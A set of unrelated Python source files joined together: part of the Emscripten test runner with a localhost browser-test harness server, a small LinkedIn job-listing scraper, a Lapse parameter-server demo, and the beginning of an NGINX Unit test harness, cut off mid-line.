*s); EMSCRIPTEN_KEEPALIVE void cfunc() { afunc("c"); } ''') # _test_dylink_dso_needed can be potentially called several times by a test. # reset dylink-related options first. self.clear_setting('MAIN_MODULE') self.clear_setting('SIDE_MODULE') # XXX in wasm each lib load currently takes 5MB; default INITIAL_MEMORY=16MB is thus not enough self.set_setting('INITIAL_MEMORY', '32mb') so = '.wasm' if self.is_wasm() else '.js' def ccshared(src, linkto=[]): cmdv = [EMCC, src, '-o', shared.unsuffixed(src) + so, '-s', 'SIDE_MODULE'] + self.get_emcc_args() cmdv += linkto self.run_process(cmdv) ccshared('liba.cpp') ccshared('libb.c', ['liba' + so]) ccshared('libc.c', ['liba' + so]) self.set_setting('MAIN_MODULE') extra_args = ['-L.', 'libb' + so, 'libc' + so] do_run(r''' #ifdef __cplusplus extern "C" { #endif void bfunc(); void cfunc(); #ifdef __cplusplus } #endif int test_main() { bfunc(); cfunc(); return 0; } ''', 'a: loaded\na: b (prev: (null))\na: c (prev: b)\n', emcc_args=extra_args) for libname in ['liba', 'libb', 'libc']: self.emcc_args += ['--embed-file', libname + so] do_run(r''' #include <assert.h> #include <dlfcn.h> #include <stddef.h> int test_main() { void *bdso, *cdso; void (*bfunc_ptr)(), (*cfunc_ptr)(); // FIXME for RTLD_LOCAL binding symbols to loaded lib is not currently working bdso = dlopen("libb%(so)s", RTLD_NOW|RTLD_GLOBAL); assert(bdso != NULL); cdso = dlopen("libc%(so)s", RTLD_NOW|RTLD_GLOBAL); assert(cdso != NULL); bfunc_ptr = (void (*)())dlsym(bdso, "bfunc"); assert(bfunc_ptr != NULL); cfunc_ptr = (void (*)())dlsym(cdso, "cfunc"); assert(cfunc_ptr != NULL); bfunc_ptr(); cfunc_ptr(); return 0; } ''' % locals(), 'a: loaded\na: b (prev: (null))\na: c (prev: b)\n') def filtered_js_engines(self, js_engines=None): if js_engines is None: js_engines = self.js_engines for engine in js_engines: assert engine in config.JS_ENGINES, "js engine does not exist in config.JS_ENGINES" assert type(engine) == list for engine in self.banned_js_engines: assert type(engine) in (list, type(None)) banned = [b[0] for b in self.banned_js_engines if b] return [engine for engine in js_engines if engine and engine[0] not in banned] def do_run(self, src, expected_output, force_c=False, **kwargs): if 'no_build' in kwargs: filename = src else: if force_c: filename = 'src.c' else: filename = 'src.cpp' write_file(filename, src) self._build_and_run(filename, expected_output, **kwargs) def do_runf(self, filename, expected_output=None, **kwargs): return self._build_and_run(filename, expected_output, **kwargs) ## Just like `do_run` but with filename of expected output def do_run_from_file(self, filename, expected_output_filename, **kwargs): self._build_and_run(filename, read_file(expected_output_filename), **kwargs) def do_run_in_out_file_test(self, *path, **kwargs): srcfile = test_file(*path) out_suffix = kwargs.pop('out_suffix', '') outfile = shared.unsuffixed(srcfile) + out_suffix + '.out' expected = read_file(outfile) self._build_and_run(srcfile, expected, **kwargs) ## Does a complete test - builds, runs, checks output, etc. def _build_and_run(self, filename, expected_output, args=[], output_nicerizer=None, no_build=False, js_engines=None, libraries=[], includes=[], assert_returncode=0, assert_identical=False, assert_all=False, check_for_error=True, force_c=False, emcc_args=[], interleaved_output=True, output_basename=None): logger.debug(f'_build_and_run: {filename}') if no_build: js_file = filename else: js_file = self.build(filename, libraries=libraries, includes=includes, force_c=force_c, emcc_args=emcc_args, output_basename=output_basename) self.assertExists(js_file) engines = self.filtered_js_engines(js_engines) if len(engines) > 1 and not self.use_all_engines: engines = engines[:1] # In standalone mode, also add wasm vms as we should be able to run there too. if self.get_setting('STANDALONE_WASM'): # TODO once standalone wasm support is more stable, apply use_all_engines # like with js engines, but for now as we bring it up, test in all of them if not self.wasm_engines: logger.warning('no wasm engine was found to run the standalone part of this test') engines += self.wasm_engines if self.get_setting('WASM2C') and not EMTEST_LACKS_NATIVE_CLANG: # compile the c file to a native executable. c = shared.replace_suffix(js_file, '.wasm.c') executable = shared.replace_suffix(js_file, '.exe') cmd = [shared.CLANG_CC, c, '-o', executable] + clang_native.get_clang_native_args() self.run_process(cmd, env=clang_native.get_clang_native_env()) # we can now run the executable directly, without an engine, which # we indicate with None as the engine engines += [[None]] if len(engines) == 0: self.skipTest('No JS engine present to run this test with. Check %s and the paths therein.' % config.EM_CONFIG) for engine in engines: js_output = self.run_js(js_file, engine, args, output_nicerizer=output_nicerizer, assert_returncode=assert_returncode, interleaved_output=interleaved_output) js_output = js_output.replace('\r\n', '\n') if expected_output: try: if assert_identical: self.assertIdentical(expected_output, js_output) elif assert_all: for o in expected_output: self.assertContained(o, js_output) else: self.assertContained(expected_output, js_output) if check_for_error: self.assertNotContained('ERROR', js_output) except Exception: print('(test did not pass in JS engine: %s)' % engine) raise return js_output def get_freetype_library(self): if '-Werror' in self.emcc_args: self.emcc_args.remove('-Werror') return self.get_library(os.path.join('third_party', 'freetype'), os.path.join('objs', '.libs', 'libfreetype.a'), configure_args=['--disable-shared', '--without-zlib']) def get_poppler_library(self, env_init=None): # The fontconfig symbols are all missing from the poppler build # e.g. FcConfigSubstitute self.set_setting('ERROR_ON_UNDEFINED_SYMBOLS', 0) self.emcc_args += [ '-I' + test_file('third_party/freetype/include'), '-I' + test_file('third_party/poppler/include') ] freetype = self.get_freetype_library() # Poppler has some pretty glaring warning. Suppress them to keep the # test output readable. if '-Werror' in self.emcc_args: self.emcc_args.remove('-Werror') self.emcc_args += [ '-Wno-sentinel', '-Wno-logical-not-parentheses', '-Wno-unused-private-field', '-Wno-tautological-compare', '-Wno-unknown-pragmas', ] env_init = env_init.copy() if env_init else {} env_init['FONTCONFIG_CFLAGS'] = ' ' env_init['FONTCONFIG_LIBS'] = ' ' poppler = self.get_library( os.path.join('third_party', 'poppler'), [os.path.join('utils', 'pdftoppm.o'), os.path.join('utils', 'parseargs.o'), os.path.join('poppler', '.libs', 'libpoppler.a')], env_init=env_init, configure_args=['--disable-libjpeg', '--disable-libpng', '--disable-poppler-qt', '--disable-poppler-qt4', '--disable-cms', '--disable-cairo-output', '--disable-abiword-output', '--disable-shared']) return poppler + freetype def get_zlib_library(self): if WINDOWS: return self.get_library(os.path.join('third_party', 'zlib'), os.path.join('libz.a'), configure=['cmake', '.'], make=['cmake', '--build', '.'], make_args=[]) return self.get_library(os.path.join('third_party', 'zlib'), os.path.join('libz.a'), make_args=['libz.a']) # Run a server and a web page. When a test runs, we tell the server about it, # which tells the web page, which then opens a window with the test. Doing # it this way then allows the page to close() itself when done. def harness_server_func(in_queue, out_queue, port): class TestServerHandler(SimpleHTTPRequestHandler): # Request header handler for default do_GET() path in # SimpleHTTPRequestHandler.do_GET(self) below. def send_head(self): if self.path.endswith('.js'): path = self.translate_path(self.path) try: f = open(path, 'rb') except IOError: self.send_error(404, "File not found: " + path) return None self.send_response(200) self.send_header('Content-type', 'application/javascript') self.send_header('Connection', 'close') self.end_headers() return f else: return SimpleHTTPRequestHandler.send_head(self) # Add COOP, COEP, CORP, and no-caching headers def end_headers(self): self.send_header('Access-Control-Allow-Origin', '*') self.send_header('Cross-Origin-Opener-Policy', 'same-origin') self.send_header('Cross-Origin-Embedder-Policy', 'require-corp') self.send_header('Cross-Origin-Resource-Policy', 'cross-origin') self.send_header('Cache-Control', 'no-cache, no-store, must-revalidate') return SimpleHTTPRequestHandler.end_headers(self) def do_GET(self): if self.path == '/run_harness': if DEBUG: print('[server startup]') self.send_response(200) self.send_header('Content-type', 'text/html') self.end_headers() self.wfile.write(read_binary(test_file('browser_harness.html'))) elif 'report_' in self.path: # the test is reporting its result. first change dir away from the # test dir, as it will be deleted now that the test is finishing, and # if we got a ping at that time, we'd return an error os.chdir(path_from_root()) # for debugging, tests may encode the result and their own url (window.location) as result|url if '|' in self.path: path, url = self.path.split('|', 1) else: path = self.path url = '?' if DEBUG: print('[server response:', path, url, ']') if out_queue.empty(): out_queue.put(path) else: # a badly-behaving test may send multiple xhrs with reported results; we just care # about the first (if we queued the others, they might be read as responses for # later tests, or maybe the test sends more than one in a racy manner). # we place 'None' in the queue here so that the outside knows something went wrong # (none is not a valid value otherwise; and we need the outside to know because if we # raise an error in here, it is just swallowed in python's webserver code - we want # the test to actually fail, which a webserver response can't do). out_queue.put(None) raise Exception('browser harness error, excessive response to server - test must be fixed! "%s"' % self.path) self.send_response(200) self.send_header('Content-type', 'text/plain') self.send_header('Cache-Control', 'no-cache, must-revalidate') self.send_header('Connection', 'close') self.send_header('Expires', '-1') self.end_headers() self.wfile.write(b'OK') elif 'stdout=' in self.path or 'stderr=' in self.path or 'exception=' in self.path: ''' To get logging to the console from browser tests, add this to print/printErr/the exception handler in src/shell.html: var xhr = new XMLHttpRequest(); xhr.open('GET', encodeURI('http://localhost:8888?stdout=' + text)); xhr.send(); ''' print('[client logging:', unquote_plus(self.path), ']') self.send_response(200) self.send_header('Content-type', 'text/html') self.end_headers() elif self.path == '/check': self.send_response(200) self.send_header('Content-type', 'text/html') self.end_headers() if not in_queue.empty(): # there is a new test ready to be served url, dir = in_queue.get() if DEBUG: print('[queue command:', url, dir, ']') assert in_queue.empty(), 'should not be any blockage - one test runs at a time' assert out_queue.empty(), 'the single response from the last test was read' # tell the browser to load the test self.wfile.write(b'COMMAND:' + url.encode('utf-8')) # move us to the right place to serve the files for the new test os.chdir(dir) else: # the browser must keep polling self.wfile.write(b'(wait)') else: # Use SimpleHTTPServer default file serving operation for GET. if DEBUG: print('[simple HTTP serving:', unquote_plus(self.path), ']') SimpleHTTPRequestHandler.do_GET(self) def log_request(code=0, size=0): # don't log; too noisy pass # allows streaming compilation to work SimpleHTTPRequestHandler.extensions_map['.wasm'] = 'application/wasm' httpd = HTTPServer(('localhost', port), TestServerHandler) httpd.serve_forever() # test runner will kill us class Reporting(Enum): """When running browser tests we normally automatically include support code for reporting results back to the browser. This enum allows tests to decide what type of support code they need/want. """ NONE = 0 # Include the JS helpers for reporting results JS_ONLY = 1 # Include C/C++ reporting code (REPORT_RESULT mactros) as well as JS helpers FULL = 2 class BrowserCore(RunnerCore): # note how many tests hang / do not send an output. if many of these # happen, likely something is broken and it is best to abort the test # suite early, as otherwise we will wait for the timeout on every # single test (hundreds of minutes) MAX_UNRESPONSIVE_TESTS = 10 unresponsive_tests = 0 def __init__(self, *args, **kwargs): super().__init__(*args, **kwargs) @staticmethod def browser_open(url): if not EMTEST_BROWSER: logger.info('Using default system browser') webbrowser.open_new(url) return browser_args = shlex.split(EMTEST_BROWSER) # If the given browser is a scalar, treat it like one of the possible types # from https://docs.python.org/2/library/webbrowser.html if len(browser_args) == 1: try: # This throws if the type of browser isn't available webbrowser.get(browser_args[0]).open_new(url) logger.info('Using Emscripten browser: %s', browser_args[0]) return except webbrowser.Error: # Ignore the exception and fallback to the custom command logic pass # Else assume the given browser is a specific program with additional # parameters and delegate to that logger.info('Using Emscripten browser: %s', str(browser_args)) subprocess.Popen(browser_args + [url]) @classmethod def setUpClass(cls): super().setUpClass() cls.also_asmjs = int(os.getenv('EMTEST_BROWSER_ALSO_ASMJS', '0')) == 1 cls.port = int(os.getenv('EMTEST_BROWSER_PORT', '8888')) if not has_browser() or EMTEST_BROWSER == 'node': return cls.browser_timeout = 60 cls.harness_in_queue = multiprocessing.Queue() cls.harness_out_queue = multiprocessing.Queue() cls.harness_server = multiprocessing.Process(target=harness_server_func, args=(cls.harness_in_queue, cls.harness_out_queue, cls.port)) cls.harness_server.start() print('[Browser harness server on process %d]' % cls.harness_server.pid) cls.browser_open('http://localhost:%s/run_harness' % cls.port) @classmethod def tearDownClass(cls): super().tearDownClass() if not has_browser() or EMTEST_BROWSER == 'node': return cls.harness_server.terminate() print('[Browser harness server terminated]') if WINDOWS: # On Windows, shutil.rmtree() in tearDown() raises this exception if we do not wait a bit: # WindowsError: [Error 32] The process cannot access the file because it is being used by another process. time.sleep(0.1) def assert_out_queue_empty(self, who): if not self.harness_out_queue.empty(): while not self.harness_out_queue.empty(): self.harness_out_queue.get() raise Exception('excessive responses from %s' % who) # @param extra_tries: how many more times to try this test, if it fails. browser tests have # many more causes of flakiness (in particular, they do not run # synchronously, so we have a timeout, which can be hit if the VM # we run on stalls temporarily), so we let each test try more than # once by default def run_browser(self, html_file, message, expectedResult=None, timeout=None, extra_tries=1): if not has_browser(): return if BrowserCore.unresponsive_tests >= BrowserCore.MAX_UNRESPONSIVE_TESTS: self.skipTest('too many unresponsive tests, skipping browser launch - check your setup!') self.assert_out_queue_empty('previous test') if DEBUG: print('[browser launch:', html_file, ']') if expectedResult is not None: try: self.harness_in_queue.put(( 'http://localhost:%s/%s' % (self.port, html_file), self.get_dir() )) received_output = False output = '[no http server activity]' start = time.time() if timeout is None: timeout = self.browser_timeout while time.time() - start < timeout: if not self.harness_out_queue.empty(): output = self.harness_out_queue.get() received_output = True break time.sleep(0.1) if not received_output: BrowserCore.unresponsive_tests += 1 print('[unresponsive tests: %d]' % BrowserCore.unresponsive_tests) if output is None: # the browser harness reported an error already, and sent a None to tell # us to also fail the test raise Exception('failing test due to browser harness error') if output.startswith('/report_result?skipped:'): self.skipTest(unquote(output[len('/report_result?skipped:'):]).strip()) else: # verify the result, and try again if we should do so output = unquote(output) try: self.assertContained(expectedResult, output) except Exception as e: if extra_tries > 0: print('[test error (see below), automatically retrying]') print(e) return self.run_browser(html_file, message, expectedResult, timeout, extra_tries - 1) else: raise e finally: time.sleep(0.1) # see comment about Windows above self.assert_out_queue_empty('this test') else: webbrowser.open_new(os.path.abspath(html_file)) print('A web browser window should have opened a page containing the results of a part of this test.') print('You need to manually look at the page to see that it works ok: ' + message) print('(sleeping for a bit to keep the directory alive for the web browser..)') time.sleep(5) print('(moving on..)') # @manually_trigger If set, we do not assume we should run the reftest when main() is done. # Instead, call doReftest() in JS yourself at the right time. def reftest(self, expected, manually_trigger=False): # make sure the pngs used here have no color correction, using e.g. # pngcrush -rem gAMA -rem cHRM -rem iCCP -rem sRGB infile outfile basename = os.path.basename(expected) shutil.copyfile(expected, os.path.join(self.get_dir(), basename)) reporting = read_file(test_file('browser_reporting.js')) write_file('reftest.js', ''' function doReftest() { if (doReftest.done) return; doReftest.done = true; var img = new Image(); img.onload = function() { assert(img.width == Module.canvas.width, 'Invalid width: ' + Module.canvas.width + ', should be ' + img.width); assert(img.height == Module.canvas.height, 'Invalid height: ' + Module.canvas.height + ', should be ' + img.height); var canvas = document.createElement('canvas'); canvas.width = img.width; canvas.height = img.height; var ctx = canvas.getContext('2d'); ctx.drawImage(img, 0, 0); var expected = ctx.getImageData(0, 0, img.width, img.height).data; var actualUrl = Module.canvas.toDataURL(); var actualImage = new Image(); actualImage.onload = function() { /* document.body.appendChild(img); // for comparisons var div = document.createElement('div'); div.innerHTML = '^=expected, v=actual'; document.body.appendChild(div); document.body.appendChild(actualImage); // to grab it for creating the test reference */ var actualCanvas = document.createElement('canvas'); actualCanvas.width = actualImage.width; actualCanvas.height = actualImage.height; var actualCtx = actualCanvas.getContext('2d'); actualCtx.drawImage(actualImage, 0, 0); var actual = actualCtx.getImageData(0, 0, actualImage.width, actualImage.height).data; var total = 0; var width = img.width; var height = img.height; for (var x = 0; x < width; x++) { for (var y = 0; y < height; y++) { total += Math.abs(expected[y*width*4 + x*4 + 0] - actual[y*width*4 + x*4 + 0]); total += Math.abs(expected[y*width*4 + x*4 + 1] - actual[y*width*4 + x*4 + 1]); total += Math.abs(expected[y*width*4 + x*4 + 2] - actual[y*width*4 + x*4 + 2]); } } var wrong = Math.floor(total / (img.width*img.height*3)); // floor, to allow some margin of error for antialiasing // If the main JS file is in a worker, or modularize, then we need to supply our own reporting logic. if (typeof reportResultToServer === 'undefined') { (function() { %s reportResultToServer(wrong); })(); } else { reportResultToServer(wrong); } }; actualImage.src = actualUrl; } img.src = '%s'; }; // Automatically trigger the reftest? if (!%s) { // Yes, automatically Module['postRun'] = doReftest; if (typeof WebGLClient !== 'undefined') { // trigger reftest from RAF as well, needed for workers where there is no pre|postRun on the main thread var realRAF = window.requestAnimationFrame; window.requestAnimationFrame = /** @suppress{checkTypes} */ (function(func) { realRAF(function() { func(); realRAF(doReftest); }); }); // trigger reftest from canvas render too, for workers not doing GL var realWOM = worker.onmessage; worker.onmessage = function(event) { realWOM(event); if (event.data.target === 'canvas' && event.data.op === 'render') { realRAF(doReftest); } }; } } else { // Manually trigger the reftest. // The user will call it. // Add an event loop iteration to ensure rendering, so users don't need to bother. var realDoReftest = doReftest; doReftest = function() { setTimeout(realDoReftest, 1); }; } ''' % (reporting, basename, int(manually_trigger))) def compile_btest(self, args, reporting=Reporting.FULL): # Inject support code for reporting results. This adds an include a header so testcases can # use REPORT_RESULT, and also adds a cpp file to be compiled alongside the testcase, which # contains the implementation of REPORT_RESULT (we can't just include that implementation in # the header as there may be multiple files being compiled here). args += ['-s', 'IN_TEST_HARNESS'] if reporting != Reporting.NONE: # For basic reporting we inject JS helper funtions to report result back to server. args += ['-DEMTEST_PORT_NUMBER=%d' % self.port, '--pre-js', test_file('browser_reporting.js')] if reporting == Reporting.FULL: # If C reporting (i.e. REPORT_RESULT macro) is required # also compile in report_result.cpp and forice-include report_result.h args += ['-I' + TEST_ROOT, '-include', test_file('report_result.h'), test_file('report_result.cpp')] if EMTEST_BROWSER == 'node': args.append('-DEMTEST_NODE') self.run_process([EMCC] + self.get_emcc_args() + args) def btest_exit(self, filename, assert_returncode=0, *args, **kwargs): """Special case of btest that reports its result solely via exiting with a given result code. In this case we set EXIT_RUNTIME and we don't need to provide the REPORT_RESULT macro to the C code. """ self.set_setting('EXIT_RUNTIME') kwargs['reporting'] = Reporting.JS_ONLY kwargs['expected'] = 'exit:%d' % assert_returncode return self.btest(filename, *args, **kwargs) def btest(self, filename, expected=None, reference=None, reference_slack=0, manual_reference=False, post_build=None, args=None, message='.', also_proxied=False, url_suffix='', timeout=None, also_asmjs=False, manually_trigger_reftest=False, extra_tries=1, reporting=Reporting.FULL): assert expected or reference, 'a btest must either expect an output, or have a reference image' if args is None: args = [] original_args = args args = args.copy() if not os.path.exists(filename): filename = test_file(filename) if reference: self.reference = reference expected = [str(i) for i in range(0, reference_slack + 1)] self.reftest(test_file(reference), manually_trigger=manually_trigger_reftest) if not manual_reference: args += ['--pre-js', 'reftest.js', '-s', 'GL_TESTING'] outfile = 'test.html' args += [filename, '-o', outfile] # print('all args:', args) try_delete(outfile) self.compile_btest(args, reporting=reporting) self.assertExists(outfile) if post_build: post_build() if not isinstance(expected, list): expected = [expected] if EMTEST_BROWSER == 'node': self.js_engines = [config.NODE_JS] self.node_args += ['--experimental-wasm-threads', '--experimental-wasm-bulk-memory'] output = self.run_js('test.js') self.assertContained('RESULT: ' + expected[0], output) else: self.run_browser(outfile + url_suffix, message, ['/report_result?' + e for e in expected], timeout=timeout, extra_tries=extra_tries) # Tests can opt into being run under asmjs as well if 'WASM=0' not in original_args and (also_asmjs or self.also_asmjs): print('WASM=0') self.btest(filename, expected, reference, reference_slack, manual_reference, post_build, original_args + ['-s', 'WASM=0'], message, also_proxied=False, timeout=timeout) if also_proxied: print('proxied...') if reference: assert not manual_reference manual_reference = True assert not post_build post_build = self.post_manual_reftest # run proxied self.btest(filename, expected, reference, reference_slack, manual_reference, post_build, original_args + ['--proxy-to-worker', '-s', 'GL_TESTING'], message, timeout=timeout) ################################################################################################### def build_library(name, build_dir, output_dir, generated_libs, configure, make, make_args=[], cache=None, cache_name=None, env_init={}, native=False): """Build a library and cache the result. We build the library file once and cache it for all our tests. (We cache in memory since the test directory is destroyed and recreated for each test. Note that we cache separately for different compilers). This cache is just during the test runner. There is a different concept of caching as well, see |Cache|. """ if type(generated_libs) is not list: generated_libs = [generated_libs] source_dir = test_file(name.replace('_native', '')) project_dir = Path(build_dir, name) if os.path.exists(project_dir): shutil.rmtree(project_dir) # Useful in debugging sometimes to comment this out, and two lines above shutil.copytree(source_dir, project_dir) generated_libs = [os.path.join(project_dir, lib) for lib in generated_libs] if native: env = clang_native.get_clang_native_env() else: env = os.environ.copy() env.update(env_init) if not native: # Inject emcmake, emconfigure or emmake accordingly, but only if we are # cross compiling. if configure: if configure[0] == 'cmake': configure = [EMCMAKE] + configure else: configure = [EMCONFIGURE] + configure else: make = [EMMAKE] + make if configure: try: with open(os.path.join(project_dir, 'configure_out'), 'w') as out: with open(os.path.join(project_dir, 'configure_err'), 'w') as err: stdout = out if EM_BUILD_VERBOSE < 2 else None stderr = err if EM_BUILD_VERBOSE < 1 else None shared.run_process(configure, env=env, stdout=stdout, stderr=stderr, cwd=project_dir) except subprocess.CalledProcessError: print('-- configure stdout --') print(read_file(Path(project_dir, 'configure_out'))) print('-- end configure stdout --') print('-- configure stderr --') print(read_file(Path(project_dir, 'configure_err'))) print('-- end configure stderr --') raise # if we run configure or cmake we don't then need any kind # of special env when we run make below env = None def open_make_out(mode='r'): return open(os.path.join(project_dir, 'make.out'), mode) def open_make_err(mode='r'): return open(os.path.join(project_dir, 'make.err'), mode) if EM_BUILD_VERBOSE >= 3: make_args += ['VERBOSE=1'] try: with open_make_out('w') as make_out: with open_make_err('w') as make_err: stdout = make_out if EM_BUILD_VERBOSE < 2 else None stderr = make_err if EM_BUILD_VERBOSE < 1 else None shared.run_process(make + make_args, stdout=stdout, stderr=stderr, env=env, cwd=project_dir) except subprocess.CalledProcessError: with open_make_out() as f: print('-- make stdout --') print(f.read()) print('-- end make stdout --') with open_make_err() as f: print('-- make stderr --') print(f.read()) print('-- end stderr --') raise if cache is not None: cache[cache_name] = [] for f in generated_libs: basename = os.path.basename(f) cache[cache_name].append((basename, read_binary(f))) return generated_libs
linkedin.py
#linkedin # #url= "https://www.linkedin.com/jobs/search?keywords=Python&location=New%20York%2C%20New%20York%2C%20United%20States&geoId=102571732&trk=public_jobs_jobs-search-bar_search-submit&redirect=false&position=1&pageNum=" ''' for i in range(1,5): all_data=scrape( all_data , url+str(i) , ' new york') ''' import requests import urllib.request import json from bs4 import BeautifulSoup from threading import Thread def scrape( all_data , url, location): response = requests.get(url, headers={'User-Agent': 'Mozilla/5.0'}) soup = BeautifulSoup(response.text, 'html.parser') #content_container= soup.find_all('a', {'class': ["result-card__full-card-link"]}) content_container= soup.find_all('li', {'class': [ "result-card job-result-card result-card--with-hover-state"]}) for x, i in enumerate(content_container): try: title=i.a.span.text href=i.a['href'] company=i.h4.a.text time=i.time.text all_data[href] =[title, company, time, href ] except AttributeError: pass return all_data def start(role , location): all_data={} url= "https://www.linkedin.com/jobs/search?keywords="+ role + "&location=" + location+"&trk=public_jobs_jobs-search-bar_search-submit&redirect=false&position=1&pageNum=" threads= [ Thread(target=scrape, args=( all_data, url +str(n) , role ),daemon=True) for n in range(1, 10)] for t in threads: t.start() for t in threads: t.join() return all_data if __name__ == "__main__": ret= start('python' , 'new york')
example.py
#!/usr/bin/env python3 import os import torch import torch.distributed as dist import numpy as np from torch.multiprocessing import Process import lapse from signal import signal, SIGINT from sys import exit import threading num_nodes = 4 # number of nodes num_workers_per_node = 2 # number of worker threads per node num_keys = 1000 # number of keys vpk = 2 # length of the parameter vector that one key holds localip = '127.0.0.1' port = '9091' def run_worker(worker_id, rank, kv): if worker_id == 0: print("""\n --------------------------------------------------- Run example with PyTorch tensors ---------------------------------------------------- """) worker_torch(worker_id, rank, kv) kv.barrier() # wait for all workers to finish if worker_id == 0: print("""\n --------------------------------------------------- Run example with NumPy arrays ---------------------------------------------------- """) worker_numpy(worker_id, rank, kv) kv.barrier() # wait for all workers to finish def worker_numpy(worker_id, rank, kv): """Example worker, using numpy arrays""" print("run worker " + str(worker_id) + " on server rank " + str(rank) + ", using NumPy arrays") np.random.seed(worker_id) keys = np.array([1,2,3,4]) keys2 = np.array([1,333,666,960])+worker_id vals = np.ones((len(keys)*vpk), dtype=np.float32) pushvals = np.random.rand(len(keys2)*vpk).astype(np.float32) setvals = np.ones((len(keys)*vpk), dtype=np.float32) # pull kv.pull(keys, vals) print("worker " + str(worker_id) + " pulled " + str(vals)) # localize kv.localize(keys2) # push print("worker " + str(worker_id) + " pushes " + str(pushvals)) kv.push(keys2, pushvals) # pull to check values kv.pull(keys2, vals) print("worker " + str(worker_id) + " pulled " + str(vals) + " after push") # set kv.set(keys2, setvals) # asynchronous operations kv.push(keys2, pushvals, True) kv.pull(keys2, pushvals, True) # pull to check values kv.pull(keys2, vals) print("worker " + str(worker_id) + " pulled " + str(vals) + " after set") # asynchronous operations ts1 = kv.push(keys2, pushvals, True) ts2 = kv.pull(keys2, vals, True) kv.wait(ts1) # optional kv.wait(ts2) # optional ## pull the key that holds a vector of other length longer_key = np.array([400]) longer_vals = np.ones((10), dtype=np.float32) kv.pull(longer_key, longer_vals) def worker_torch(worker_id, rank, kv): """Example worker, using PyTorch tensors """ print("run worker " + str(worker_id) + " on server rank " + str(rank) + ", using PyTorch tensors") np.random.seed(worker_id) torch.manual_seed(worker_id) keys = torch.LongTensor([1,2,3,4]) keys2 = torch.LongTensor([1,333,666,960])+worker_id vals = torch.ones((len(keys)*vpk), dtype=torch.float32) pushvals = torch.from_numpy(np.random.rand(len(keys2)*vpk).astype(np.float32)) setvals = torch.ones((len(keys)*vpk), dtype=torch.float32) # pull kv.pull(keys, vals) print("worker " + str(worker_id) + " pulled " + str(vals)) # localize kv.localize(keys2) # push print("worker " + str(worker_id) + " pushes " + str(pushvals)) kv.push(keys2, pushvals) # pull to check values kv.pull(keys2, vals) print("worker " + str(worker_id) + " pulled " + str(vals) + " after push") # set kv.set(keys2, setvals) # pull to check values kv.pull(keys2, vals) print("worker " + str(worker_id) + " pulled " + str(vals) + " after set") # asynchronous operations ts1 = kv.push(keys2, pushvals, True) ts2 = kv.pull(keys2, vals, True) kv.wait(ts1) # optional kv.wait(ts2) # optional ## pull the key that holds a vector of other length longer_key = torch.LongTensor([400]) longer_vals = torch.ones((10), dtype=torch.float32) kv.pull(longer_key, longer_vals) def init_scheduler(dummy, num_nodes): os.environ['DMLC_NUM_SERVER'] = str(num_nodes) os.environ['DMLC_ROLE'] = 'scheduler' os.environ['DMLC_PS_ROOT_URI'] = localip os.environ['DMLC_PS_ROOT_PORT'] = port lapse.scheduler(num_keys, num_workers_per_node) def init_node(rank, num_nodes): """Start up a Lapse node (server + multiple worker threads)""" os.environ['DMLC_NUM_SERVER'] = str(num_nodes) os.environ['DMLC_ROLE'] = 'server' os.environ['DMLC_PS_ROOT_URI'] = localip os.environ['DMLC_PS_ROOT_PORT'] = port lapse.setup(num_keys, num_workers_per_node) # in this example, there are `num_keys` keys and all keys except one # hold a vector of length `vpk`. To indicate this to Lapse, we pass # an array of length `num_keys`, in which each key holds the length # of the parameter vector value_lengths = torch.ones(num_keys)*vpk value_lengths[400] = 10 ## one key holds a vector of other length s = lapse.Server(value_lengths) threads = [] for w in range(num_workers_per_node): worker_id = rank * num_workers_per_node + w kv = lapse.Worker(0, w+1, s) t = threading.Thread(target=run_worker, args=(worker_id, rank, kv)) t.start() threads.append(t) for t in threads: t.join() # shutdown lapse node s.shutdown() def kill_processes(signal_received, frame): """Kills all started lapse processes""" print('\nSIGINT or CTRL-C detected. Shutting down all processes and exiting..') for p in processes: p.kill() exit(0) processes = [] if __name__ == "__main__": # catch interrupt (to shut down lapse processes) signal(SIGINT, kill_processes) # launch lapse scheduler p = Process(target=init_scheduler, args=(0, num_nodes)) p.start() processes.append(p) # launch lapse processes for rank in range(num_nodes): p = Process(target=init_node, args=(rank, num_nodes)) p.start() processes.append(p) for p in processes: p.join()
unit.py
import os import re import sys import json import time import shutil import socket import select import platform import tempfile import unittest import subprocess from multiprocessing import Process class TestUnit(unittest.TestCase): pardir = os.path.abspath(os.path.join(os.path.dirname(__file__), os.pardir)) architecture = platform.architecture()[0] maxDiff = None def setUp(self): self._run() def tearDown(self): self.stop() with open(self.testdir + '/unit.log', 'r', encoding='utf-8', errors='ignore') as f: self._check_alerts(f.read()) if '--leave' not in sys.argv: shutil.rmtree(self.testdir) def check_modules(self, *modules): self._run() for i in range(50): with open(self.testdir + '/unit.log', 'r') as f: log = f.read() m = re.search('controller started', log) if m is None: time.sleep(0.1) else: break if m is None: self.stop() exit("Unit is writing log too long") current_dir = os.path.dirname(os.path.abspath(__file__)) missed_module = '' for module in modules: if module == 'go': env = os.environ.copy() env['GOPATH'] = self.pardir + '/go' try: process = subprocess.Popen(['go', 'build', '-o', self.testdir + '/go/check_module', current_dir + '/go/empty/app.go'], env=env) process.communicate() m = module if process.returncode == 0 else None except: m = None else: m = re.search('module: ' + module, log) if m is None: missed_module = module break self.stop() self._check_alerts(log) shutil.rmtree(self.testdir) if missed_module: raise unittest.SkipTest('Unit has no ' + missed_module + ' module') def stop(self): if self._started: self._stop() def _run(self): self.testdir = tempfile.mkdtemp(prefix='unit-test-') os.mkdir(self.testdir + '/state') print() def _run_unit(): subprocess.call([self.pardir + '/build/unitd', '--no-daemon', '--modules', self.pardir + '/build', '--state', self.testdir + '/state', '--pid', self.testdir + '/unit.pid', '--log', self.testdir + '/unit.log', '--control', 'unix:' + self.testdir + '/control.unit.sock']) self._p = Process(target=_run_unit) self._p.start() if not self.waitforfiles(self.testdir + '/unit.pid', self.testdir + '/unit.log', self.testdir + '/control.unit.sock'): exit("Could not start unit") self._started = True self.skip_alerts = [r'read signalfd\(4\) failed'] self.skip_sanitizer = False def _stop(self): with open(self.testdir + '/unit.pid', 'r') as f: pid = f.read().rstrip() subprocess.call(['kill', '-s', 'QUIT', pid]) for i in range(50): if not os.path.exists(self.testdir + '/unit.pid'): break time.sleep(0.1) if os.path.exists(self.testdir + '/unit.pid'): exit("Could not terminate unit") self._started = False self._p.join(timeout=1) self._terminate_process(self._p) def _terminate_process(self, process): if process.is_alive(): process.terminate() process.join(timeout=5) if process.is_alive(): exit("Could not terminate process " + process.pid) if process.exitcode: exit("Child process terminated with code " + str(process.exitcode)) def _check_alerts(self, log): found = False alerts = re.findall('.+\[alert\].+', log) if alerts: print('All 